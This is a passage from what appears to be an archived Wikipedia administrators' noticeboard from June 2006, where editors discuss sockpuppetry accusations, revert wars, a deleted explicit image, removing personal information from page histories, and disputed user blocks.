* I want to second Alienus' characterizations of AnnH's tendency to not simply report the facts relevant to the case, but to expand them against antoher editor with a bad faith spin that can be viewed as a distortion. This is not to say that AnnH is not reporting what she genuinely believes to be the case. I always assume good faith, but I note that this occurs only when she is commenting about editors with whom she finds herself on the opposite side of the ideological fence with (what she has called enemies). So, in her view, Alienu's message about his conflict with the three other editors could very well be, in her eyes, "offensive messages left by AI...," but she does not use NPOV language to state this belief of hers, but states it as if Alienus is guilty as a matter of fact of doing these bad things, being in essence uncivil by leaving offense remarks about other editors, etc. This is why Alienus feels attacked here, because he is being attacked. Its also true that this is supposed to be about a specific incident regarding Chooser, but AnnH felt the need to bring up other "evidence" to try to paint a negative picture of Alieus, which is not really related and which distracts from the issue. This is something that is also a common technique that AnnH uses. I've seen it many times. Therefore, I highly recommend that whenever AnnH comments about a user that she has direct POV conflicts with, take her views of the matter with great caution as you will need to shift through what is relevant and what is not, as well as to filter out the significant bias in the editorializing and spin that is sure to come from such a partisan editor.Giovanni33 17:53, 8 June 2006 (UTC)
* I expand them "with a bad faith spin", and you "always assume good faith"? Hmmm. How would you describe my "bad faith spin" if you weren't assuming good faith? And is your reference to my bringing up unrelated issues something to do with the fact that I sometimes bring up the way you pretended to have no conncetion to BelindaGong (who was reverting and voting for you) until a checkuser exposed that it was the same IP, and that while you were blocked for puppetry, you were asked if you had any connection to any of the other new users who were reverting to your version, and you denied it — forgetting that you were logged on as one of them!
* Giovanni, I won't bring up these "unrelated issues" except where:
* We're working on an article, you run out of reverts, and an account that shows that its purpose on Wikipedia is to revert and vote for you (and that has the same linguistic idiosyncrasies and spelling mistakes which I won't alert you to, but which I'll e-mail to any admin who requests it) shows up and supports you; or
* I'm dealing with a separate administrative issue, unrelated to you, and you turn up to tell all the other administrators about my history of bringing up unrelated issues. They might just be puzzled and want to know what you're talking about.
* It would be preferable to stick to what's relevant to the case of Chooserr, Giovanni. I don't know why you want to bring up past issues. You never come out of it well when you do. AnnH <b style="font-size:medium;">♫</b> 14:14, 9 June 2006 (UTC)
Large amounts of non English on user talk pages
Is there a policy about this? See, for instance User talk:Ukrained. It is difficult for a non Ukranian (presumably it's Ukranian but maybe it's Russian?) speaker to know whether there are matters of concern there or not. I went there because I was concerned about some things I saw on the DYK talk page and wanted to learn more about this editor and this editor's interactions with others. I thought there was a policy or guideline requesting English but if there is, I can't find it. Thanks! (note that even without being able to read everything I certainly have some concerns) + + Lar: t/c 20:19, 6 June 2006 (UTC)
* I don't see all that much ... whatever language it is. It seems to be mainly confined to one largeish section. But really, I don't think there is, or needs to be, any particular rule about confining user talk page discussions to English. Lots of our users are able to communicate in more than one language, and plenty of us edit articles on more than one Wikipedia. Judging from some of the remarks left on the page in English, though, it seems the user may not be aware of some of our policies. Exploding Boy 23:43, 6 June 2006 (UTC)
* I have no problem with other languages so long as they are limited to User Talk pages and do not dominate the page, but I object to their use in other communications. User:Zoe|(talk) 23:46, 6 June 2006 (UTC)
* If someone is using non-English on a talk page, you can ask him politely if he'll provide a translation. Some people will do so, but bear in mind that some may not be able to because their English skills don't match their native language skills. --Tony Sidaway 23:51, 6 June 2006 (UTC)
* I have actually never come across a userpage that was anything but English =P --mboverload @ 07:43, 9 June 2006 (UTC)
* In that particular example, the user actually told the person talking to him on his talk not to use Ukrainian, since this is enwiki. Also, the paragraphs just below each Ukranian paragraph seem to be english translations. --Rory096 07:50, 9 June 2006 (UTC)
Unintentional blanking
If while on RC patrol you notice a user making a beneficial edit and simultaneously removing most of the article, especially if it's from an otherwise semi-reputable editor, it may be due to an apparent bug in Google Toolbar for Firefox (see Wikipedia:Village pump (technical)/Archive 136#Problems with Firefox and previews and Village pump (technical). So go easy on them, OK? (I haven't seen any overly harsh warnings, just thought I'd comment.) — Knowledge Seeker দ 07:35, 8 June 2006 (UTC)
* Thank god! I was wondering why that was happening! --mboverload @ 07:40, 9 June 2006 (UTC)
Dick DeVos
I think an admin (or someone who knows more about politics) needs to take a look at (and possibly protect) this page. There's a little revert war going on. --Bachrach44 18:57, 8 June 2006 (UTC)
* User:Steelbeard1 and User:Envix have been blocked for 24 hours. User:Bkonrad will also be blocked if he reverts the page one more time. Nacon kantari 19:06, 8 June 2006 (UTC)
(is the below related?).. I have on the article talk page offered to help work through the issues with this article. I admit bias, my kids play sports against some of his kids... + + Lar: t/c 00:10, 9 June 2006 (UTC)
Possible sockpuppetry: User:<IP_ADDRESS>'s only Wiki edit to date was to "Revert to Bkonrad's last revision". <tt> Radio Kirk </tt> <tt> talk to me </tt> 00:08, 9 June 2006 (UTC)
I have confirmed that is associated with the Devos campaign. Mackensen (talk) 00:57, 9 June 2006 (UTC)
Let's keep watch on the Dick DeVos article to make sure User:Envix or anyone else from the DeVos campaign does not try to control content of the article. Is Envix blocked for six months like the IP addresses associated with the DeVos campaign were? Steelbeard1 19:24, 9 June 2006 (UTC)
User:Creamy goodness
Name may be inviolation of Wikipedia's username policy.--<font color="Green">Conrad Devonshire <font color="Purple">Talk 21:13, 8 June 2006 (UTC)
* I'm going to defend that one: its a fairly well-known phrase that seems innocuous enough. What specifically do you think is wrong with it? I guess it could be seen to have a sexual connotation, but that doesn't seem to be the major meaning that Google finds. Gw e rnol 21:17, 8 June 2006 (UTC)
* I agree. I don't see anything wrong with the name. Theresa Knott | Taste the Korn 21:19, 8 June 2006 (UTC)
* Agreed; the innuendo is obvious, but the desire for a plate of fettucine alfredo immediately overcame the thought... ;) <tt> Radio Kirk </tt> <tt> talk to me </tt> 21:28, 8 June 2006 (UTC)
* Yeah, the innuendo is obvious, but as was pointed out to me by a friend earlier today, even a binder clip can be lewd if you just think about it in the right context. Incidentally, I thought of hostess cakes :-). --Bachrach44 02:04, 9 June 2006 (UTC)
* It is true that in the proper context even the stiffest amongst us can find a word or phrase lascivious. But the real thrust of the matter is that we should be careful to avoid giving good users the shaft simply because their name may be somewhat bushy. Now, it is easy to rectify the situation if a heinous blockage occurs, but hopefully we can allow the flow of good edits to emerge from our editors without the repeated blocking and unblocking beforehand, even if it is somewhat fun; remember that it can also be dangerous.--Sean Black 02:33, 9 June 2006 (UTC)
* Teehee, you said "rectify". --Sam Blanning(talk) 12:23, 9 June 2006 (UTC)
* Heh heh... heh heh heh... heh heh... he said "stiffest" <tt> Radio Kirk </tt> <tt> talk to me </tt> 16:03, 9 June 2006 (UTC)
* "When correctly viewed, everything is lewd!" -- Tom Lehrer
* Atlant 12:29, 9 June 2006 (UTC)
I thought it was quite amusing. Exploding Boy 22:00, 8 June 2006 (UTC)
* Seeing the name first, my first thought was that someone was claiming that the user name was inappropriate because of the violent conotations from Buffy the Vampire Slayer (Willow compares a demon that is removing people's organs to a person who doesn't eat the outside of Oreos "but takes out the creamy goodness" (slight paraphase since too lazy to go over to Wikiquote at the moment). JoshuaZ 23:41, 8 June 2006 (UTC)
* Strange. I've never seen an episode of Buffy, but Oreo cream is exactly what came to my mind when I saw the phrase. Joyous! | Talk 23:54, 8 June 2006 (UTC)
* Actually cream cheese came to mind but this is what first got my attention .--<font color="Olive">Dakota ~ 00:01, 9 June 2006 (UTC)
User:GeorgeMoney's user page
He appears to have C&Pd the entire Main Page to his user page. It's very confusing, but he seems passionately attached to it. Some assistance convincing him otherwise might be good. Exploding Boy 00:12, 9 June 2006 (UTC)
* If you want me to fix it, then all you have to do is ask me to do it instead of reporting me here like a vandal. Thanks to Chuck I found out about this. It is not so hard to press the "+" button next to the "edit this page" tab on my talk page, and ask me, "George, will you please revert your userpage back to normal because it is confusing" and I will be happy to do it. Also, I didn't copy&paste it, I transcluded it.-- GeorgeMoney T·C 00:34, 9 June 2006 (UTC)
* Holy crap, I never thought I'd ever agree with you, Exploding Boy (this isn't an insult if you read into it properly, please don't take it as one, just as a statement of...utter shock). I reverted him and was promptly called "a vandal" and told "it's my userpage, I'll do what I want with it" (see my talk) — Natha <font color="#336666">n (talk) 00:41, 9 June 2006 (UTC)
* I called you a vandal because you called me a vandal for inserting a stupid little HTML comment on your page. All you have to do is ask. -- GeorgeMoney T·C 00:44, 9 June 2006 (UTC)
* Enough. Please calm down. I've answered you on my talk page, there's absolutely no need to bring that up here, and I won't answer comments about that when it's brought up in such an inappropriate place. — Natha <font color="#336666">n (talk) 00:56, 9 June 2006 (UTC)
After multiple edit conflicts...
Yes, you're right. I should have left you a message on your talk page. Sorry. It's just that looking at your edit history you seemed unwilling to change it.
While we're on the topic though, why is it that your talk page header says that the page is for discussing the Main Page? Is that a holdover from your transcluded user page?
Anyway, I'm going to leave this here for a few more minutes and then remove it; it's obviously not needed here. Exploding Boy 00:48, 9 June 2006 (UTC)
* Yeah, that'd be my fault. I thought I reverted everything, sorry. I'll accept blame for it. — Natha <font color="#336666">n (talk) 01:06, 9 June 2006 (UTC)
* The reason I seemed unwilling to change it was because Nathan reverted it without asking me first. -- GeorgeMoney T·C 00:53, 9 June 2006 (UTC)
* Enough arguing. The reason why is posted on my talk page. Any admin can look there and read it for themselves. The question remains: Why did you senselessly transclude the main page onto your userpage. That's what Exploding Boy is asking, and that's what I'd like an answer to as well. Please stick to the question asked. I refer to two policies: Wikipedia is not a place to put your own personal homepage and we don't own our contributions to Wikipedia. Not our pages, our signatures (thus leading to refactoring which I still don't agree with), nothing. We don't own any of it. — Natha <font color="#336666">n (talk) 00:56, 9 June 2006 (UTC)
Now is my userpage ok? -- GeorgeMoney T·C 01:31, 9 June 2006 (UTC)
* I have to admit, in this case I think the first step would have been to contact GeorgeMoney, rather than just editing it yourself (in particular if the "problem" is just one of annoyance, not of critical importance to the project). People feel a lot better about changes to their user page if they themselves make them, in my experience, and a polite request can go a long way. Just my two cents. Thank you for changing your page, GeorgeMoney. --Fastfission 02:22, 9 June 2006 (UTC)
Yes, you're right. I should have left George a message. Nathan should probably have left him a message. However, the issue seems to have been satisfactorily resolved, and is now closed. Thanks to everyone. Exploding Boy 04:49, 9 June 2006 (UTC)
* I'm shocked to agree with you a second time (please, don't make a habit of this). Yes, I probably should have. — Natha <font color="#336666">n (talk) 14:24, 9 June 2006 (UTC)
When an RfC is ignored
* ''I've taken this back to the RfC. It makes sense to keep it there. --Tony Sidaway 20:42, 9 June 2006 (UTC)
* Thanks! FreplySpang 20:47, 9 June 2006 (UTC)
Ongoing discussion at Talk:Ejaculation
''Moved this to the talk page of the article. --Tony Sidaway 04:43, 9 June 2006 (UTC)''
* Given the uploader's history of contributing images without proper source information (I see several Orphanbot messages on his talk page) as well as the very suspect use of NoRightsReserved on Image:Pink36.jpg and Image:Pavel Novotny & Ales Hanak 3.jpg (that second image is not work safe!), I'm not inclined to trust that the image Image:Cum.JPG being discussed is actually the creation of . I note that an image of the same name was deleted as a copyvio back in March.
* While discussion of the appropriateness of the image perhaps belongs on the article's talk page, addressing the copyright issue is in the purview of admins. TenOfAllTrades(talk) 04:46, 9 June 2006 (UTC)
Sysop's actions re photo on Ejaculation
Although the discussion has been moved my question is about the sysop so I will place it here: May I ask for some feedback as to how appropriate it was for an admin to revert an image that is obviously so controversial back into the article and then completely protect the article from editing by anyone other than sysops? Surely whilst there is no consensus an image that some find offensive should be removed until further discussion has taken place? And why the heck would full protection be placed after one change has been made??? Anyone help me here? - 'Stollery 04:56, 9 June 2006 (UTC)
* Just to clarify that one admin reverted the picture back in, and a different one protected it 2 minutes afterward. ChChcknwnm (Chuck) 05:09, 9 June 2006 (UTC)
* Yes correct Chuck, apologies, my bad. Still the question remains, why the hell protect it with the controversial image included whilst discussion is still taking place? - 'Stollery 05:11, 9 June 2006 (UTC)
* I don't think I follow the question. If there was controversy, surely protection was advised! See protection policy. --Tony Sidaway 15:38, 9 June 2006 (UTC)
* Since when did small blue worms travel through the vas deferens? Ral315 (talk) 05:59, 9 June 2006 (UTC)
* As a doctor, I can say never. Never blue ones. -- Samir धर्म 10:27, 9 June 2006 (UTC)
* That's not the image that was disputed... Nonetheless, I do agree, and we're looking for a better diagram. It's a hellofalot better than the previous image though, IMO at least. AmiDaniel (talk) 06:01, 9 June 2006 (UTC)
* You mean they're not supposed to? Oh dear ... *goes to doctor* Proto 10:25, 9 June 2006 (UTC)
* See The Wrong Version. Kotepho 06:26, 9 June 2006 (UTC)
"An image that some find offensive should be removed"? See Jyllands-Posten_Muhammad_cartoons Nacon kantari 15:19, 9 June 2006 (UTC)
* As that article is about the image, the image is appropriate. As Ejaculation is not Highly controversial image of ejaculation, the criteria should be does the image improve the article in any way? IMHO it does not. It illustrates nothing which is not easily understood from the text. Illustrations are to illustrate, not for any other purpose. One puppy's opinion. KillerChihuahua?!? 15:23, 9 June 2006 (UTC)
* Updated, apologies: I typed with brain half-engaged. Meant to say, If it does not, etc. Stand by "Illustrations are to illustrate". KillerChihuahua?!? 15:26, 9 June 2006 (UTC)
* On the image, I think it was an excellent illustration, especially useful as there will be many younger people who will not have a clue what ejaculation is (and may be worried if it happens to them). Providing a good illustration of ejaculation would be of great benefit to the encyclopedia. This was a pretty good one, very well illustrating the intensely joyfully explosive nature of the event. --Tony Sidaway 15:38, 9 June 2006 (UTC)
* Seconding Tony ... now I haven't even seen the picture, but it has to be better than the diagram we're currently using. That diagram shows a flaccid penis ejaculating. D'oh!!!! -- Cyde↔Weys 15:50, 9 June 2006 (UTC)
* Again, per my discussion on the talk page, I would argue that while Wikipedia is not censored, neither is it an internet pornographer. A visitor should have the option via an inline link, or via page-bottom placement with a warning at the top, to see such an image or not. Page-top placement of hard-core pornography should never happen. <tt> Radio Kirk </tt> <tt> talk to me </tt> 16:10, 9 June 2006 (UTC)
* I feel that you're prejudging the issue by equating sexually explicit pictures with "hard-core pornography." I agree with your suggestion of appropriate placement (sizing also helps) but we have a general disclaimer so warnings and the like would be superfluous (not to mention insulting). --Tony Sidaway 16:42, 9 June 2006 (UTC)
* Tony, this almost seems evasive. First, hardcore pornography (apparently, "hardcore" is now the preferred spelling) is defined as the photographic depiction of explicit sex acts (and, neither a partner nor mutual activity is a requirement for a "sex act" IMO) so, in the context, I find the terminology identical. Second, The disclaimer is linked from the bottom of each page, long after this article would have shoved (porn/a "sexually explicit" image) into the viewer's face. <tt> Radio Kirk </tt> <tt> talk to me </tt> 17:16, 9 June 2006 (UTC)
* RadioKirk, it's a page about ejaculation. How could you not expect to see something sexually explicit there? ~MDD4696 16:48, 9 June 2006 (UTC)
* Easy: go try to find a similar image in the Encyclopedia Britannica; if any image exists at all, it will be a diagram. I reiterate my stand that Wikipedia is not a pornographer. <tt> Radio Kirk </tt> <tt> talk to me </tt> 17:16, 9 June 2006 (UTC)
* I'm more concerned that it was decided in the middle of the dispute to delete the image (image deletion is permanent). The deletion log says that it was flagged up as db:pornography (which isn't a reason) and was deleted less than 10 minutes later for having no copyright info when it was tagged as pd-self (and hadn't at that point been tagged as needing copyright info). Image deletion should not be used to settle content disputes like that. Secretlondon 16:44, 9 June 2006 (UTC)
* I didn't realise that; I thought it was deleted because of licensing terms. If true, this is very disturbing. In context, the image was not pornographic as far as I was able to tell. It simply showed a masturbating man, frontal torso view, ejaculating. --Tony Sidaway 16:52, 9 June 2006 (UTC)
* The deleting admin tried to restore 8 mins later but doesn't seem to have realised that image deletions were permanent. It was apparently listed as a speedy and got deleted:( Considering the % of false speedy claims this is worrying.. Secretlondon 17:10, 9 June 2006 (UTC)
* So .. did we lose the image permanently or did someone have a backup? At the very worst we could hide it in a linkimage or something. But just deleting it outright like that ... hrrmmm ... that seems like a clear abuse of speedy deletion. -- Cyde↔Weys 17:13, 9 June 2006 (UTC)
* It ain't abuse when the speedy tag was false. In such a tense and high-pressure situation, not many people, including myself, would check the history and would rather just proceed with the deletion. I don't think xaosflux can be blamed, nor accused of misuse of speedy. NSLE (T+C) at 17:16 UTC (2006-06-09)
* You HAVE to check - people add false speedy tags to all pages all the time. It's especially important with images as image deletions are permanent. Secretlondon 17:21, 9 June 2006 (UTC)
* WHAT?! It's not an admin's fault if he deletes something which has a bad speedy tag? Am I the only one around who still thoroughly checks up on something before deleting it? Deletion is a tool only given to administrators for a reason. If an admin acts as a rubber-stamp, deleting everything that any user happens to put a speedy tag on (whether or not the tag is deserved!), then the system is broken. -- Cyde↔Weys 17:28, 9 June 2006 (UTC)
* Agreed. It's not THAT high pressure - there are always other admins, you don't have to do it all. If you delete without checking you are a liability to be honest. Secretlondon 18:01, 9 June 2006 (UTC)
* This was just a one-off case. It would be nice if sysops deleting pictures could grab a copy (unless the photograph is clearly illegal, such as child pornography) and hang on to it for a bit, but I can understand why a lot of sysops don't go to such lengths.
* No doubt other photographs of ejaculation will appear in time--probably better than the deleted one--so it isn't a huge deal.
* We do need to make sure that the animation there at present is properly licensed and sourced, however. --Tony Sidaway 18:13, 9 June 2006 (UTC)
* It is a big deal, though, if we have admins regularly going around deleting stuff without stopping to verify whether it's actually a candidate for speedy deletion, or whether the page hasn't been manipulated so that it looks like a candidate when it isn't. Deletion rights are given only to admins because regular users can't be trusted ... but if admins are just running around deleting everything nominated for speedy deletion by regular users without verifying it, then that is a baaad thing. -- Cyde↔Weys 18:16, 9 June 2006 (UTC)
* I've not always agreed with Cyde and Tony apropos of how admins ought to exercise discretion in speedying things, but Cyde (with whom Tony seems to agree) is wholly correct here; thorough checking, important for articles, is crucial with respect to images, which, as many note, can't be undeleted. Joe 18:44, 9 June 2006 (UTC)
* For what it's worth my views on speedy deletion are heavily influenced by what deletion candidate we are considering. If it's an unencyclopedic template? Mehh. If it's an article or an image used in an article? Hold up buddy! -- Cyde↔Weys 18:59, 9 June 2006 (UTC)
* What do you mean by regular users can't be trusted? Ch<font color="Green">u ck(contrib) 20:00, 9 June 2006 (UTC)
* Regular users can't be trusted with access to the "delete" button. It's very simple. If they could be trusted, then it would be available to all users, not just admins ... but it's not. -- Cyde↔Weys 20:20, 9 June 2006 (UTC)
* User with previous warnings of copyvios upload an image containing a nude human being. Happens a fair bit. The percentage that turn out to be copyvios is rather high.Geni 20:33, 9 June 2006 (UTC)
* Agreed - however this seems to be a "delete as tagged" problem. If they checked the edit history of the uploader they would have checked the edit history of the image too. Speedy tags *are* used in edit wars - it's up to us to know what deletion policy is. All our images in sex related articles are contentious and we need to be extra careful with contentious topics when the potential for admin manipulation is higher. Everyone should be more careful with images because image deletion cannot be reverted. If in doubt always ask - IRC or any of our talk pages is a good idea. I wonder if we should start a voluntary mentoring project for new admins - people you can bounce ideas off if you want to. Lots of stuff is borderline but where the lines are drawn isn't always obvious as we basically work on something like case law. I'd happily handhold a new colleague - I'm sure others are the same. Secretlondon 20:54, 9 June 2006 (UTC)
* I don't know that Cyde's "trusted" formulation is altogether appropriate; nearly every consistent contributor could, IMHO, be trusted with the power to delete things, even speedily, but surely those users who partake of the project for less-than-encyclopedic purposes (either to disrupt or simply to impose certain views) mustn't be permitted to exercise deletion deleteriously. Admins are not necessarily preternaturally infallible, and neither does some special brilliance entail from one's being approved as an admin. Adminship is, on the whole, not a discretionary task; admins act only to implement consensus, either as expressed in a specific situation or as codified in policy, et cetera. To say that "regular users can't be trusted with access to the 'delete' button", is, I think, fundamentally to misunderstand what adminship is and unintentionally to underestimate "regular users". Joe 22:16, 9 June 2006 (UTC)
Deleting personal information from history
Is there a central page where you can find a description on how to fast delete personal information from a history when that history is HUGE? -- Kim van der Linde at venus 05:03, 9 June 2006 (UTC)
* Well if it is really HUGE, you may want to just ask a dev to do it for you. Well, really anyone with Oversight powers. They have selective deletions. Perhaps Essjay or Brion? I don't know if they are around though. -- You Know Who <sup style="color:#3D9140;">(Dark Mark) 05:06, 9 June 2006 (UTC)
* What is the page in question? Theresa Knott | Taste the Korn 05:12, 9 June 2006 (UTC)
* I solved it, there is a quick way to do it actually, so, if there is not such a page, I will create one tomorrow to describe it. It is actually quite simple. I just did homosexuality, which has 6900+ revisions. -- Kim van der Linde at venus 05:19, 9 June 2006 (UTC)
* Delete all, restore recent twenty or so, move to your userspace, delete, restore non-inflammatory items, move back, and restore all? Still a lot easier if you got someone with oversight to do it in one click. AmiDaniel (talk) 06:04, 9 June 2006 (UTC)
* If a page has a few thousand versions, having the ability to check all boxes in one fell swoop is a great help. However, when it's several thousand versions, it's best to go to someone with oversight powers. As far as I know, those people are Brion VIBBER, Dmcdevit, Essjay, Jayjg, Mindspillage, and Theresa Knott. There may be others. If the information is very confidential, I wouldn't leave a message on the user's talk page: I'd rollback the edit, and then check contributions so as to make a judgment as to which oversight users were most likely to be online, and would then send a private e-mail. Apparently it also helps the oversight user if after reverting the vandalism, you make another edit — even a small one like putting in a comma. Also, I think that an advantage of the oversight method is that the bad edit can't be accidentally restored by an admin who removes personal information from the same page six months later. For example, if someone puts User A's phone number into the article on Vitamin C on 14 March, and an admin deletes the page and restores all the versions except the bad one, and then someone comes along on 27 August and posts User B's real name, an admin who doesn't check the history of the page to see what edits have already been deleted before deleting the page will delete the page and restore it with everything except User B's name, so User A's phone number will once again be retrievable from the history. As far as I know, there's no way of knowing which versions were once deleted once they've been restored, or once the page has been deleted again, but I could be wrong. AnnH <b style="font-size:medium;">♫</b> 08:39, 9 June 2006 (UTC)
* Full list can be found at Special:Listusers by looking at the group oversight. Basicaly arbcom puss a few devs.Geni 16:51, 9 June 2006 (UTC)
Sorry, much easier. If you see personal information, not even bother to rollback or revert. Do the following: Advantages: I think it might be actually a good idea to scan the database for partial restores and move the personal info (or other needs to stay deleted stuff) out of the way so that it stays deleted. -- Kim van der Linde at venus 11:23, 9 June 2006 (UTC)
* 1) Delete page (Foo) on sight.
* 2) Restore bad version (yes, the bad version)
* 3) Move bad version to Foo/Bad
* 4) Delete Foo/Bad
* 5) Restore remaining versions of Foo
* If there is a second time in which personal information needs to be removed, there is no change of accidentially restoring the removed personal information of previous times. All Bad stuff wil accumulate in Foo/Bad.
* It is fast, regardless of the number of revisions, and it is effectively a ons checkbox operation.
* In fact, it is not fast irrespective of the no. of revisions in Foo. Not so long ago (Dec?) someone deleted George W. Bush and locked the whole database for about an hour. So don't delete on sigt, delete on judgement and, if there are many revisions, get someone with the unfortunately-named Oversight to do it. -Splash - tk 12:10, 9 June 2006 (UTC)
* Good point. But would it be a good idea to describe this methiod anyway somewhere, in a page dealing with How to deal with personal information? I searched yesterday, and could not find it, maybe I just did not find it, but I suspect it is not there. -- Kim van der Linde at venus 15:29, 9 June 2006 (UTC)
* There is a good chance that no one with oversight will be around. Jimbo and Brion are devs, not just wiki admins, they are not usually patrolling. Filiocht left Wikipedia. That leaves 14 people. Voice -of- All Talk 20:24, 9 June 2006 (UTC)
* If you can't find someone with oversight hassle your admin of choice. We can do it but it takes us a little longer, that's all. Secretlondon 20:56, 9 June 2006 (UTC)
* I'll just use javascript to speed it up, unless the article is very long, its faster than spamming the oversights. Voice -of- All Talk 00:30, 10 June 2006 (UTC)
I'm around, able to be pinged via talk page message (even if it's only "check your email, please") between twelve and fifteen hours a day, sometimes longer, basically between 22:00 UTC and 14:00 UTC. That covers much of the day, and does not constitute a "good chance" that nobody will be around. To be honest, Mindspillage and I cover most of the day; she is usually getting up and beginning work (online all day, everyday, working for Wikia, and just an email away) as I'm going to bed, and I'm already online as she's going to bed.
I've seen quite a few people say "nobody's ever around", but I'd like to see some evidence, as I *know* how much I'm around, and I know how much I see the others around. I've yet to see anyone able to produce a case where private information was discovered, and no oversight was online; I find it very hard to believe that there are many periods where an oversight is unavailable. <font color="#7b68ee">Essjay <font color="#7b68ee">( <font color="#7b68ee">Talk • <font color="#7b68ee">Connect ) 00:11, 10 June 2006 (UTC)
some art of revenge vandalism
See please User talk:Cerveny kohout and the contributions of this user. I presume it is one of blocked users on cs.wiki where there are great problems with such vandals in last time. I vote to block him, but if he is that one whom i mean, it will not help - he uses dynamic adresses, on cs.wiki he has now about 100 accounts... Thx anyway, -jkb- 17:30, 9 June 2006 (UTC)
My block of User:Konob13
I've sort of gone out of process and instituted an indefinite block against this user - as I noted on his talk page, he claims in one of his vandalistic edits that he has been ""banned... 12 times now", so I assumed good faith, took him at his word, and banned him again. Was this improper, in anyone's view? bd2412 T 18:57, 9 June 2006 (UTC)
* You actually only blocked for an hour, your blocks are conflicting with each other. Prodego <sup style="color:darkgreen;">talk 22:03, 9 June 2006 (UTC)
* Why you little *%&#$! Ok, now that the block is fixed... bd2412 T 22:08, 9 June 2006 (UTC)
* An indef block seems fine, not necessarily because he's previously been blocked/banned but because the account appears a disruption-only account. Joe 22:09, 9 June 2006 (UTC)
* sock of previously banned user. dissruptive sock. Yeah I think there is a fairly strong case for blocking.Geni 02:27, 10 June 2006 (UTC)
* I agree with the block as well. (If I didn't I would have conveniently forgotten to mention the block conflict ;-). Prodego <sup style="color:darkgreen;">talk 22:10, 9 June 2006 (UTC)
* Hmmm.....
* 1) User:Konob
* 2) User:Konob2
* 3) User:Konob3
* 4) User:Konob4
* 5) User:Konob5
* 6) User:Konob6
* 7) User:Konob7
* 8) User:Konob8
* 9) User:Konob9
* 10) User:Konob10
* 11) User:Konob11
* 12) User:Konob12
Prodego <sup style="color:darkgreen;">talk 22:13, 9 June 2006 (UTC)
* 6, 9, 11, and 12 are not indef blocked, the rest are. Prodego <sup style="color:darkgreen;">talk 22:15, 9 June 2006 (UTC)
* Oh, I think this was the guy going around accusing a bunch of people of being anti-semites (like, people who deal with all the anti-semitic garbage that comes up). Mak (talk) 01:34, 10 June 2006 (UTC)
Attack of the autoblocker
Chud Manzier (talk • contribs • [/wiki/Special:Log/move?user= page moves ] • block user • [/wiki/Special:Log/block?page= block log ] • [/w/index.php?title=Special:Log&user= logs ])
Hi folks, I originally indef blocked the above user and then unblocked a while back. This user still can't seem to edit because it seems that the autoblocker is blocking him. I tried unblocking any IPs that get hit with the autblocker, and I even tried to unblock him again, but to no avail. Could an experienced admin please take a look and let me know what the heck is going on? Chud Manzier can't seem to edit because he keeps getting hit with the autoblock. Thanks, Deathphoenix ʕ 00:46, 10 June 2006 (UTC)
* You need to unblock this Auto-block. It seems the automated tool is down. Prodego <sup style="color:darkgreen;">talk 01:19, 10 June 2006 (UTC)
* I've done that one. Seems that every time Chud Manzier logs on, he gets hit with the autoblocker. --Deathphoenix ʕ 02:10, 10 June 2006 (UTC)
* I wish we could remove the autoblocker. The idea is sound but it just creates way way too many issues. --Woohookitty(meow) 07:05, 10 June 2006 (UTC)
* So what do I tell Chud Manzier? That the autoblocker will just hit him forever despite the fact that I unblocked him? I thought the autoblocker was just supposed to last 24 hours, not indefinitely. --Deathphoenix ʕ 14:43, 12 June 2006 (UTC)
Arbitration Committee accepting applications for new clerks
Due to recent inactivity of several of our current clerks, the Arbitration Committee is now accepting applications for new clerks. The role has evolved into mostly a janitorial one, more fully described at Arbitration Committee/Clerks. Good candidates will be trusted administrators, uncontroversial and with enough time to make the commitment. We'll appoint about three new clerks after privately reviewing the candidates ampngst ourselves. In preparation for new applications, I have blanked Arbitration_Committee/Clerks/Candidates, where anyone interested should list themselves. Thanks. :-) Dmcdevit·t 01:25, 10 June 2006 (UTC)
Revert war at Template:Infobox City
I'm vaguely involved so have not protected it, but I suggest somebody watch Template:Infobox City and protect it if reverts keep happening. Thanks. -- Rick Block (talk) 05:31, 10 June 2006 (UTC)
User:Añoranza not being allowed to request unblocking
Could some uninvolved admins take a look at this:. I really don't think Anoranza is being treated fairly here. Even Rex/Merecat was allowed to request unblocking. This all started because of this incident: There's also an RfC related to this: -- Mr. Tibbs 05:58, 10 June 2006 (UTC)
* Sure, third opinions (or fourth) are always nice. I'm open to suggestions. Sasquatch t|c 06:00, 10 June 2006 (UTC)
* Why not just let him request unblocking? Instead of removing it repeatedly like you did and then demanding that if Anoranza dares to reinsert an unblock request that you'll protect his talk page? Even User:Merecat was allowed to request unblocking. Why the beat down of Anoranza and the domination of his talk page? If that one week block of Anoranza really is for him to "cool down" it doesn't look like you're helping. -- Mr. Tibbs 06:13, 10 June 2006 (UTC)
* Because he's done it, , , times already and the first one included a continuing attack on other user's intelligence... Why let a user edit again when he's still angry and the first thing he's probably gonna do is seek vengence? Sasquatch t|c 06:20, 10 June 2006 (UTC)
* Upon further inspection, Merekat's page was protected per policy if a user keeps repeating the same thing over and over. Sasquatch t|c 06:22, 10 June 2006 (UTC)
* You posted links to Anoranza requesting an unblock. The same requests you promptly took down and then threatened him over before any other admin could even pop in. I'm not getting your point here. -- Mr. Tibbs 06:26, 10 June 2006 (UTC)
* That's because I am the second admin already. Well, thrid really, 2 admins have blocked him (JDoorjam and NSLE) and I came in after. Usually that's more than enough. Three admins all agree. But again, I'm open to other opinions on here. Sasquatch t|c 06:33, 10 June 2006 (UTC)
* That does not explain why you removed Anoranza's unblock requests. You did not respond to Anoranza's request to unblock and say "No", you removed it and then threatened him. And JDoorjam blocked him falsely over a 3RR, not this one week block. -- Mr. Tibbs 06:38, 10 June 2006 (UTC)
* I said no the first time, agreed to one of them, reduced the block, then he continued to put them in. Your right that the first one is not for this block but it does show one of the reasons why he's blocked in the first place. Frankly, I'd gotten sick on the same rhetoric on the unblock over and over and the same accusations of admin abuse. I think I was well within my powers to warn him against it. Sasquatch t|c 06:47, 10 June 2006 (UTC)
* I agree with Sasquatch. SushiGeek 06:54, 10 June 2006 (UTC)
* Gotten sick of the same accusations of admin abuse? I think thats pretty much whats happened here. JDoorJam falsely blocked Anoranza for 3RR. Anoranza contested it and it was lifted. Anoranza was then blocked for one week for not contesting it humbly enough. He made some insinuation about an admins counting ability and boom one week ban. Which amazes me because I've seen much more venomous things and I don't see many people getting one week bans. Frankly, I don't know what you wanted Anoranza to say in response to a faulty block; "Thank you sir, may I have another?" -- Mr. Tibbs 07:07, 10 June 2006 (UTC)
